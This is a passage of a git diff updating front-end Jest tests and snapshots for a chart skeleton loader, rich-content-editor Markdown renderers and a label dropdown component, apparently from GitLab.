+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="78.5%"
+ y="97%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="90.5%"
+ y="97%"
+ />
+ </clippath>
+ <lineargradient
+ id="null-idGradient"
+ >
+ <stop
+ class="primary-stop"
+ offset="0%"
+ >
+ <animate
+ attributeName="offset"
+ dur="1s"
+ repeatCount="indefinite"
+ values="-2; 1"
+ />
+ </stop>
+ <stop
+ class="secondary-stop"
+ offset="50%"
+ >
+ <animate
+ attributeName="offset"
+ dur="1s"
+ repeatCount="indefinite"
+ values="-1.5; 1.5"
+ />
+ </stop>
+ <stop
+ class="primary-stop"
+ offset="100%"
+ >
+ <animate
+ attributeName="offset"
+ dur="1s"
+ repeatCount="indefinite"
+ values="-1; 2"
+ />
+ </stop>
+ </lineargradient>
+ </defs>
+ </svg>
+</div>
`;
exports[`Resizable Skeleton Loader with custom settings renders the correct position, and size percentages for bars and labels with different settings 1`] = `
-<gl-skeleton-loader-stub
- baseurl=""
- height="130"
- preserveaspectratio="xMidYMid meet"
- uniquekey=""
- width="400"
+<div
+ class="gl-px-8"
>
- <rect
- data-testid="skeleton-chart-grid"
- height="1px"
- width="100%"
- x="0"
- y="30%"
- />
- <rect
- data-testid="skeleton-chart-grid"
- height="1px"
- width="100%"
- x="0"
- y="60%"
- />
- <rect
- data-testid="skeleton-chart-grid"
- height="1px"
- width="100%"
- x="0"
- y="90%"
- />
-
- <rect
- data-testid="skeleton-chart-bar"
- height="5%"
- rx="0.6%"
- width="3%"
- x="6.0625%"
- y="85%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="7%"
- rx="0.6%"
- width="3%"
- x="18.1875%"
- y="83%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="9%"
- rx="0.6%"
- width="3%"
- x="30.3125%"
- y="81%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="14%"
- rx="0.6%"
- width="3%"
- x="42.4375%"
- y="76%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="21%"
- rx="0.6%"
- width="3%"
- x="54.5625%"
- y="69%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="35%"
- rx="0.6%"
- width="3%"
- x="66.6875%"
- y="55%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="50%"
- rx="0.6%"
- width="3%"
- x="78.8125%"
- y="40%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="80%"
- rx="0.6%"
- width="3%"
- x="90.9375%"
- y="10%"
- />
-
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="4.0625%"
- y="98%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="16.1875%"
- y="98%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="28.3125%"
- y="98%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="40.4375%"
- y="98%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="52.5625%"
- y="98%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="64.6875%"
- y="98%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="76.8125%"
- y="98%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="2%"
- rx="0.6%"
- width="7%"
- x="88.9375%"
- y="98%"
- />
-</gl-skeleton-loader-stub>
+ <svg
+ class="gl-skeleton-loader"
+ preserveAspectRatio="xMidYMid meet"
+ version="1.1"
+ viewBox="0 0 400 130"
+ >
+ <rect
+ clip-path="url(#-idClip)"
+ height="130"
+ style="fill: url(#-idGradient);"
+ width="400"
+ x="0"
+ y="0"
+ />
+ <defs>
+ <clippath
+ id="-idClip"
+ >
+ <rect
+ data-testid="skeleton-chart-grid"
+ height="1px"
+ width="100%"
+ x="0"
+ y="30%"
+ />
+ <rect
+ data-testid="skeleton-chart-grid"
+ height="1px"
+ width="100%"
+ x="0"
+ y="60%"
+ />
+ <rect
+ data-testid="skeleton-chart-grid"
+ height="1px"
+ width="100%"
+ x="0"
+ y="90%"
+ />
+
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="5%"
+ rx="0.6%"
+ width="3%"
+ x="6.0625%"
+ y="85%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="7%"
+ rx="0.6%"
+ width="3%"
+ x="18.1875%"
+ y="83%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="9%"
+ rx="0.6%"
+ width="3%"
+ x="30.3125%"
+ y="81%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="14%"
+ rx="0.6%"
+ width="3%"
+ x="42.4375%"
+ y="76%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="21%"
+ rx="0.6%"
+ width="3%"
+ x="54.5625%"
+ y="69%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="35%"
+ rx="0.6%"
+ width="3%"
+ x="66.6875%"
+ y="55%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="50%"
+ rx="0.6%"
+ width="3%"
+ x="78.8125%"
+ y="40%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="80%"
+ rx="0.6%"
+ width="3%"
+ x="90.9375%"
+ y="10%"
+ />
+
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="4.0625%"
+ y="98%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="16.1875%"
+ y="98%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="28.3125%"
+ y="98%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="40.4375%"
+ y="98%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="52.5625%"
+ y="98%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="64.6875%"
+ y="98%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="76.8125%"
+ y="98%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="2%"
+ rx="0.6%"
+ width="7%"
+ x="88.9375%"
+ y="98%"
+ />
+ </clippath>
+ <lineargradient
+ id="-idGradient"
+ >
+ <stop
+ class="primary-stop"
+ offset="0%"
+ >
+ <animate
+ attributeName="offset"
+ dur="1s"
+ repeatCount="indefinite"
+ values="-2; 1"
+ />
+ </stop>
+ <stop
+ class="secondary-stop"
+ offset="50%"
+ >
+ <animate
+ attributeName="offset"
+ dur="1s"
+ repeatCount="indefinite"
+ values="-1.5; 1.5"
+ />
+ </stop>
+ <stop
+ class="primary-stop"
+ offset="100%"
+ >
+ <animate
+ attributeName="offset"
+ dur="1s"
+ repeatCount="indefinite"
+ values="-1; 2"
+ />
+ </stop>
+ </lineargradient>
+ </defs>
+ </svg>
+</div>
`;
diff --git a/spec/frontend/vue_shared/components/resizable_chart/skeleton_loader_spec.js b/spec/frontend/vue_shared/components/resizable_chart/skeleton_loader_spec.js
index 7facd02e596..bfc3aeb0303 100644
--- a/spec/frontend/vue_shared/components/resizable_chart/skeleton_loader_spec.js
+++ b/spec/frontend/vue_shared/components/resizable_chart/skeleton_loader_spec.js
@@ -1,11 +1,11 @@
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import ChartSkeletonLoader from '~/vue_shared/components/resizable_chart/skeleton_loader.vue';
describe('Resizable Skeleton Loader', () => {
let wrapper;
const createComponent = (propsData = {}) => {
- wrapper = shallowMount(ChartSkeletonLoader, {
+ wrapper = mount(ChartSkeletonLoader, {
propsData,
});
};
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js
index cafe53e6bb2..a823d04024d 100644
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js
@@ -5,8 +5,13 @@ describe('Build Custom Renderer Service', () => {
it('should return an object with the default renderer functions when lacking arguments', () => {
expect(buildCustomHTMLRenderer()).toEqual(
expect.objectContaining({
- list: expect.any(Function),
+ htmlBlock: expect.any(Function),
+ htmlInline: expect.any(Function),
+ heading: expect.any(Function),
+ item: expect.any(Function),
+ paragraph: expect.any(Function),
text: expect.any(Function),
+ softbreak: expect.any(Function),
}),
);
});
@@ -20,8 +25,6 @@ describe('Build Custom Renderer Service', () => {
expect(buildCustomHTMLRenderer(customRenderers)).toEqual(
expect.objectContaining({
html: expect.any(Function),
- list: expect.any(Function),
- text: expect.any(Function),
}),
);
});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js
index a90d3528d60..fd745c21bb6 100644
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js
@@ -1,9 +1,10 @@
import buildHTMLToMarkdownRenderer from '~/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer';
+import { attributeDefinition } from './renderers/mock_data';
-describe('HTMLToMarkdownRenderer', () => {
+describe('rich_content_editor/services/html_to_markdown_renderer', () => {
let baseRenderer;
let htmlToMarkdownRenderer;
- const NODE = { nodeValue: 'mock_node' };
+ let fakeNode;
beforeEach(() => {
baseRenderer = {
@@ -12,14 +13,20 @@ describe('HTMLToMarkdownRenderer', () => {
getSpaceControlled: jest.fn(input => `space controlled ${input}`),
convert: jest.fn(),
};
+
+ fakeNode = { nodeValue: 'mock_node', dataset: {} };
+ });
+
+ afterEach(() => {
+ htmlToMarkdownRenderer = null;
});
describe('TEXT_NODE visitor', () => {
it('composes getSpaceControlled, getSpaceCollapsedText, and trim services', () => {
htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
- expect(htmlToMarkdownRenderer.TEXT_NODE(NODE)).toBe(
- `space controlled trimmed space collapsed ${NODE.nodeValue}`,
+ expect(htmlToMarkdownRenderer.TEXT_NODE(fakeNode)).toBe(
+ `space controlled trimmed space collapsed ${fakeNode.nodeValue}`,
);
});
});
@@ -43,8 +50,8 @@ describe('HTMLToMarkdownRenderer', () => {
baseRenderer.convert.mockReturnValueOnce(list);
- expect(htmlToMarkdownRenderer['LI OL, LI UL'](NODE, list)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(NODE, list);
+ expect(htmlToMarkdownRenderer['LI OL, LI UL'](fakeNode, list)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, list);
});
});
@@ -62,10 +69,21 @@ describe('HTMLToMarkdownRenderer', () => {
});
baseRenderer.convert.mockReturnValueOnce(listItem);
- expect(htmlToMarkdownRenderer['UL LI'](NODE, listItem)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(NODE, listItem);
+ expect(htmlToMarkdownRenderer['UL LI'](fakeNode, listItem)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, listItem);
},
);
+
+ it('detects attribute definitions and attaches them to the list item', () => {
+ const listItem = '- list item';
+ const result = `${listItem}\n${attributeDefinition}\n`;
+
+ fakeNode.dataset.attributeDefinition = attributeDefinition;
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+ baseRenderer.convert.mockReturnValueOnce(`${listItem}\n`);
+
+ expect(htmlToMarkdownRenderer['UL LI'](fakeNode, listItem)).toBe(result);
+ });
});
describe('OL LI visitor', () => {
@@ -85,8 +103,8 @@ describe('HTMLToMarkdownRenderer', () => {
});
baseRenderer.convert.mockReturnValueOnce(listItem);
- expect(htmlToMarkdownRenderer['OL LI'](NODE, subContent)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(NODE, subContent);
+ expect(htmlToMarkdownRenderer['OL LI'](fakeNode, subContent)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, subContent);
},
);
});
@@ -105,8 +123,8 @@ describe('HTMLToMarkdownRenderer', () => {
baseRenderer.convert.mockReturnValueOnce(input);
- expect(htmlToMarkdownRenderer['STRONG, B'](NODE, input)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(NODE, input);
+ expect(htmlToMarkdownRenderer['STRONG, B'](fakeNode, input)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, input);
},
);
});
@@ -125,9 +143,50 @@ describe('HTMLToMarkdownRenderer', () => {
baseRenderer.convert.mockReturnValueOnce(input);
- expect(htmlToMarkdownRenderer['EM, I'](NODE, input)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(NODE, input);
+ expect(htmlToMarkdownRenderer['EM, I'](fakeNode, input)).toBe(result);
+ expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, input);
},
);
});
+
+ describe('H1, H2, H3, H4, H5, H6 visitor', () => {
+ it('detects attribute definitions and attaches them to the heading', () => {
+ const heading = 'heading text';
+ const result = `${heading.trimRight()}\n${attributeDefinition}\n\n`;
+
+ fakeNode.dataset.attributeDefinition = attributeDefinition;
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+ baseRenderer.convert.mockReturnValueOnce(`${heading}\n\n`);
+
+ expect(htmlToMarkdownRenderer['H1, H2, H3, H4, H5, H6'](fakeNode, heading)).toBe(result);
+ });
+ });
+
+ describe('PRE CODE', () => {
+ let node;
+ const subContent = 'sub content';
+ const originalConverterResult = 'base result';
+
+ beforeEach(() => {
+ node = document.createElement('PRE');
+
+ node.innerText = 'reference definition content';
+ node.dataset.sseReferenceDefinition = true;
+
+ baseRenderer.convert.mockReturnValueOnce(originalConverterResult);
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+ });
+
+ it('returns raw text when pre node has sse-reference-definitions class', () => {
+ expect(htmlToMarkdownRenderer['PRE CODE'](node, subContent)).toBe(
+ `\n\n${node.innerText}\n\n`,
+ );
+ });
+
+ it('returns base result when pre node does not have sse-reference-definitions class', () => {
+ delete node.dataset.sseReferenceDefinition;
+
+ expect(htmlToMarkdownRenderer['PRE CODE'](node, subContent)).toBe(originalConverterResult);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js
index 660c21281fd..5cf3961819e 100644
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js
@@ -1,12 +1,6 @@
// Node spec helpers
-export const buildMockTextNode = literal => {
- return {
- firstChild: null,
- literal,
- type: 'text',
- };
-};
+export const buildMockTextNode = literal => ({ literal, type: 'text' });
export const normalTextNode = buildMockTextNode('This is just normal text.');
@@ -23,17 +17,20 @@ const buildMockUneditableOpenToken = type => {
};
};
-const buildMockUneditableCloseToken = type => {
- return { type: 'closeTag', tagName: type };
+const buildMockTextToken = content => {
+ return {
+ type: 'text',
+ tagName: null,
+ content,
+ };
};
-export const originToken = {
- type: 'text',
- tagName: null,
- content: '{:.no_toc .hidden-md .hidden-lg}',
-};
+const buildMockUneditableCloseToken = type => ({ type: 'closeTag', tagName: type });
+
+export const originToken = buildMockTextToken('{:.no_toc .hidden-md .hidden-lg}');
+const uneditableOpenToken = buildMockUneditableOpenToken('div');
+export const uneditableOpenTokens = [uneditableOpenToken, originToken];
export const uneditableCloseToken = buildMockUneditableCloseToken('div');
-export const uneditableOpenTokens = [buildMockUneditableOpenToken('div'), originToken];
export const uneditableCloseTokens = [originToken, uneditableCloseToken];
export const uneditableTokens = [...uneditableOpenTokens, uneditableCloseToken];
@@ -41,6 +38,7 @@ export const originInlineToken = {
type: 'text',
content: '<i>Inline</i> content',
};
+
export const uneditableInlineTokens = [
buildMockUneditableOpenToken('a'),
originInlineToken,
@@ -48,11 +46,9 @@ export const uneditableInlineTokens = [
];
export const uneditableBlockTokens = [
- buildMockUneditableOpenToken('div'),
- {
- type: 'text',
- tagName: null,
- content: '<div><h1>Some header</h1><p>Some paragraph</p></div>',
- },
- buildMockUneditableCloseToken('div'),
+ uneditableOpenToken,
+ buildMockTextToken('<div><h1>Some header</h1><p>Some paragraph</p></div>'),
+ uneditableCloseToken,
];
+
+export const attributeDefinition = '{:.no_toc .hidden-md .hidden-lg}';
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js
new file mode 100644
index 00000000000..69fd9a67a21
--- /dev/null
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js
@@ -0,0 +1,25 @@
+import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition';
+import { attributeDefinition } from './mock_data';
+
+describe('rich_content_editor/renderers/render_attribute_definition', () => {
+ describe('canRender', () => {
+ it.each`
+ input | result
+ ${{ literal: attributeDefinition }} | ${true}
+ ${{ literal: `FOO${attributeDefinition}` }} | ${false}
+ ${{ literal: `${attributeDefinition}BAR` }} | ${false}
+ ${{ literal: 'foobar' }} | ${false}
+ `('returns $result when input is $input', ({ input, result }) => {
+ expect(renderer.canRender(input)).toBe(result);
+ });
+ });
+
+ describe('render', () => {
+ it('returns an empty HTML comment', () => {
+ expect(renderer.render()).toEqual({
+ type: 'html',
+ content: '<!-- sse-attribute-definition -->',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js
new file mode 100644
index 00000000000..76abc1ec3d8
--- /dev/null
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js
@@ -0,0 +1,12 @@
+import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_heading';
+import * as renderUtils from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
+
+describe('rich_content_editor/renderers/render_heading', () => {
+ it('canRender delegates to renderUtils.willAlwaysRender', () => {
+ expect(renderer.canRender).toBe(renderUtils.willAlwaysRender);
+ });
+
+ it('render delegates to renderUtils.renderWithAttributeDefinitions', () => {
+ expect(renderer.render).toBe(renderUtils.renderWithAttributeDefinitions);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js
index f4a06b91a10..b3d9576f38b 100644
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js
@@ -1,5 +1,4 @@
import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph';
-import { renderUneditableBranch } from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
import { buildMockTextNode } from './mock_data';
@@ -17,7 +16,7 @@ const identifierParagraphNode = buildMockParagraphNode(
`[another-identifier]: https://example.com "This example has a title" [identifier]: http://example1.com [this link]: http://example2.com`,
);
-describe('Render Identifier Paragraph renderer', () => {
+describe('rich_content_editor/renderers_render_identifier_paragraph', () => {
describe('canRender', () => {
it.each`
node | paragraph | target
@@ -37,8 +36,49 @@ describe('Render Identifier Paragraph renderer', () => {
});
describe('render', () => {
- it('should delegate rendering to the renderUneditableBranch util', () => {
- expect(renderer.render).toBe(renderUneditableBranch);
+ let context;
+ let result;
+
+ beforeEach(() => {
+ const node = {
+ firstChild: {
+ type: 'text',
+ literal: '[Some text]: https://link.com',
+ next: {
+ type: 'linebreak',
+ next: {
+ type: 'text',
+ literal: '[identifier]: http://example1.com "title"',
+ },
+ },
+ },
+ };
+ context = { skipChildren: jest.fn() };
+ result = renderer.render(node, context);
+ });
+
+ it('renders the reference definitions as a code block', () => {
+ expect(result).toEqual([
+ {
+ type: 'openTag',
+ tagName: 'pre',
+ classNames: ['code-block', 'language-markdown'],
+ attributes: {
+ 'data-sse-reference-definition': true,
+ },
+ },
+ { type: 'openTag', tagName: 'code' },
+ {
+ type: 'text',
+ content: '[Some text]: https://link.com\n[identifier]: http://example1.com "title"',
+ },
+ { type: 'closeTag', tagName: 'code' },
+ { type: 'closeTag', tagName: 'pre' },
+ ]);
+ });
+
+ it('skips the reference definition node children from rendering', () => {
+ expect(context.skipChildren).toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list_spec.js
deleted file mode 100644
index 7d427108ba6..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list_spec.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list';
-import { renderUneditableBranch } from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
-
-import { buildMockTextNode } from './mock_data';
-
-const buildMockListNode = literal => {
- return {
- firstChild: {
- firstChild: {
- firstChild: buildMockTextNode(literal),
- type: 'paragraph',
- },
- type: 'item',
- },
- type: 'list',
- };
-};
-
-const normalListNode = buildMockListNode('Just another bullet point');
-const kramdownListNode = buildMockListNode('TOC');
-
-describe('Render Kramdown List renderer', () => {
- describe('canRender', () => {
- it('should return true when the argument is a special kramdown TOC ordered/unordered list', () => {
- expect(renderer.canRender(kramdownListNode)).toBe(true);
- });
-
- it('should return false when the argument is a normal ordered/unordered list', () => {
- expect(renderer.canRender(normalListNode)).toBe(false);
- });
- });
-
- describe('render', () => {
- it('should delegate rendering to the renderUneditableBranch util', () => {
- expect(renderer.render).toBe(renderUneditableBranch);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text_spec.js
deleted file mode 100644
index 1d2d152ffc3..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text_spec.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text';
-import { renderUneditableLeaf } from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
-
-import { buildMockTextNode, normalTextNode } from './mock_data';
-
-const kramdownTextNode = buildMockTextNode('{:toc}');
-
-describe('Render Kramdown Text renderer', () => {
- describe('canRender', () => {
- it('should return true when the argument `literal` has kramdown syntax', () => {
- expect(renderer.canRender(kramdownTextNode)).toBe(true);
- });
-
- it('should return false when the argument `literal` lacks kramdown syntax', () => {
- expect(renderer.canRender(normalTextNode)).toBe(false);
- });
- });
-
- describe('render', () => {
- it('should delegate rendering to the renderUneditableLeaf util', () => {
- expect(renderer.render).toBe(renderUneditableLeaf);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js
new file mode 100644
index 00000000000..c1ab700535b
--- /dev/null
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js
@@ -0,0 +1,12 @@
+import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_list_item';
+import * as renderUtils from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
+
+describe('rich_content_editor/renderers/render_list_item', () => {
+ it('canRender delegates to renderUtils.willAlwaysRender', () => {
+ expect(renderer.canRender).toBe(renderUtils.willAlwaysRender);
+ });
+
+ it('render delegates to renderUtils.renderWithAttributeDefinitions', () => {
+ expect(renderer.render).toBe(renderUtils.renderWithAttributeDefinitions);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js
index 92435b3e4e3..774f830f421 100644
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js
+++ b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js
@@ -1,6 +1,8 @@
import {
renderUneditableLeaf,
renderUneditableBranch,
+ renderWithAttributeDefinitions,
+ willAlwaysRender,
} from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
import {
@@ -8,9 +10,9 @@ import {
buildUneditableOpenTokens,
} from '~/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token';
-import { originToken, uneditableCloseToken } from './mock_data';
+import { originToken, uneditableCloseToken, attributeDefinition } from './mock_data';
-describe('Render utils', () => {
+describe('rich_content_editor/renderers/render_utils', () => {
describe('renderUneditableLeaf', () => {
it('should return uneditable block tokens around an origin token', () => {
const context = { origin: jest.fn().mockReturnValueOnce(originToken) };
@@ -41,4 +43,68 @@ describe('Render utils', () => {
expect(result).toStrictEqual(uneditableCloseToken);
});
});
+
+ describe('willAlwaysRender', () => {
+ it('always returns true', () => {
+ expect(willAlwaysRender()).toBe(true);
+ });
+ });
+
+ describe('renderWithAttributeDefinitions', () => {
+ let openTagToken;
+ let closeTagToken;
+ let node;
+ const attributes = {
+ 'data-attribute-definition': attributeDefinition,
+ };
+
+ beforeEach(() => {
+ openTagToken = { type: 'openTag' };
+ closeTagToken = { type: 'closeTag' };
+ node = {
+ next: {
+ firstChild: {
+ literal: attributeDefinition,
+ },
+ },
+ };
+ });
+
+ describe('when token type is openTag', () => {
+ it('attaches attributes when attributes exist in the node’s next sibling', () => {
+ const context = { origin: () => openTagToken };
+
+ expect(renderWithAttributeDefinitions(node, context)).toEqual({
+ ...openTagToken,
+ attributes,
+ });
+ });
+
+ it('attaches attributes when attributes exist in the node’s children', () => {
+ const context = { origin: () => openTagToken };
+ node = {
+ firstChild: {
+ firstChild: {
+ next: {
+ next: {
+ literal: attributeDefinition,
+ },
+ },
+ },
+ },
+ };
+
+ expect(renderWithAttributeDefinitions(node, context)).toEqual({
+ ...openTagToken,
+ attributes,
+ });
+ });
+ });
+
+ it('does not attach attributes when token type is "closeTag"', () => {
+ const context = { origin: () => closeTagToken };
+
+ expect(renderWithAttributeDefinitions({}, context)).toBe(closeTagToken);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js
index edec3b138b3..c2091a681f2 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js
@@ -14,6 +14,7 @@ const createComponent = headerTitle => {
};
describe('DropdownCreateLabelComponent', () => {
+ const colorsCount = Object.keys(mockSuggestedColors).length;
let vm;
beforeEach(() => {
@@ -27,7 +28,7 @@ describe('DropdownCreateLabelComponent', () => {
describe('created', () => {
it('initializes `suggestedColors` prop on component from `gon.suggested_color_labels` object', () => {
- expect(vm.suggestedColors.length).toBe(mockSuggestedColors.length);
+ expect(vm.suggestedColors.length).toBe(colorsCount);
});
});
@@ -37,12 +38,10 @@ describe('DropdownCreateLabelComponent', () => {
});
it('renders `Go back` button on component header', () => {
- const backButtonEl = vm.$el.querySelector(
- '.dropdown-title button.dropdown-title-button.dropdown-menu-back',
- );
+ const backButtonEl = vm.$el.querySelector('.dropdown-title .dropdown-menu-back');
expect(backButtonEl).not.toBe(null);
- expect(backButtonEl.querySelector('.fa-arrow-left')).not.toBe(null);
+ expect(backButtonEl.querySelector('[data-testid="arrow-left-icon"]')).not.toBe(null);
});
it('renders component header element as `Create new label` when `headerTitle` prop is not provided', () => {
@@ -61,12 +60,9 @@ describe('DropdownCreateLabelComponent', () => {
});
it('renders `Close` button on component header', () => {
- const closeButtonEl = vm.$el.querySelector(
- '.dropdown-title button.dropdown-title-button.dropdown-menu-close',
- );
+ const closeButtonEl = vm.$el.querySelector('.dropdown-title .dropdown-menu-close');
expect(closeButtonEl).not.toBe(null);
- expect(closeButtonEl.querySelector('.fa-times.dropdown-menu-close-icon')).not.toBe(null);
});
it('renders `Name new label` input element', () => {
@@ -78,11 +74,11 @@ describe('DropdownCreateLabelComponent', () => {
const colorsListContainerEl = vm.$el.querySelector('.suggest-colors.suggest-colors-dropdown');
expect(colorsListContainerEl).not.toBe(null);
- expect(colorsListContainerEl.querySelectorAll('a').length).toBe(mockSuggestedColors.length);
+ expect(colorsListContainerEl.querySelectorAll('a').length).toBe(colorsCount);
const colorItemEl = colorsListContainerEl.querySelectorAll('a')[0];
- expect(colorItemEl.dataset.color).toBe(vm.suggestedColors[0]);
+ expect(colorItemEl.dataset.color).toBe(vm.suggestedColors[0].colorCode);
expect(colorItemEl.getAttribute('style')).toBe('background-color: rgb(0, 51, 204);');
});
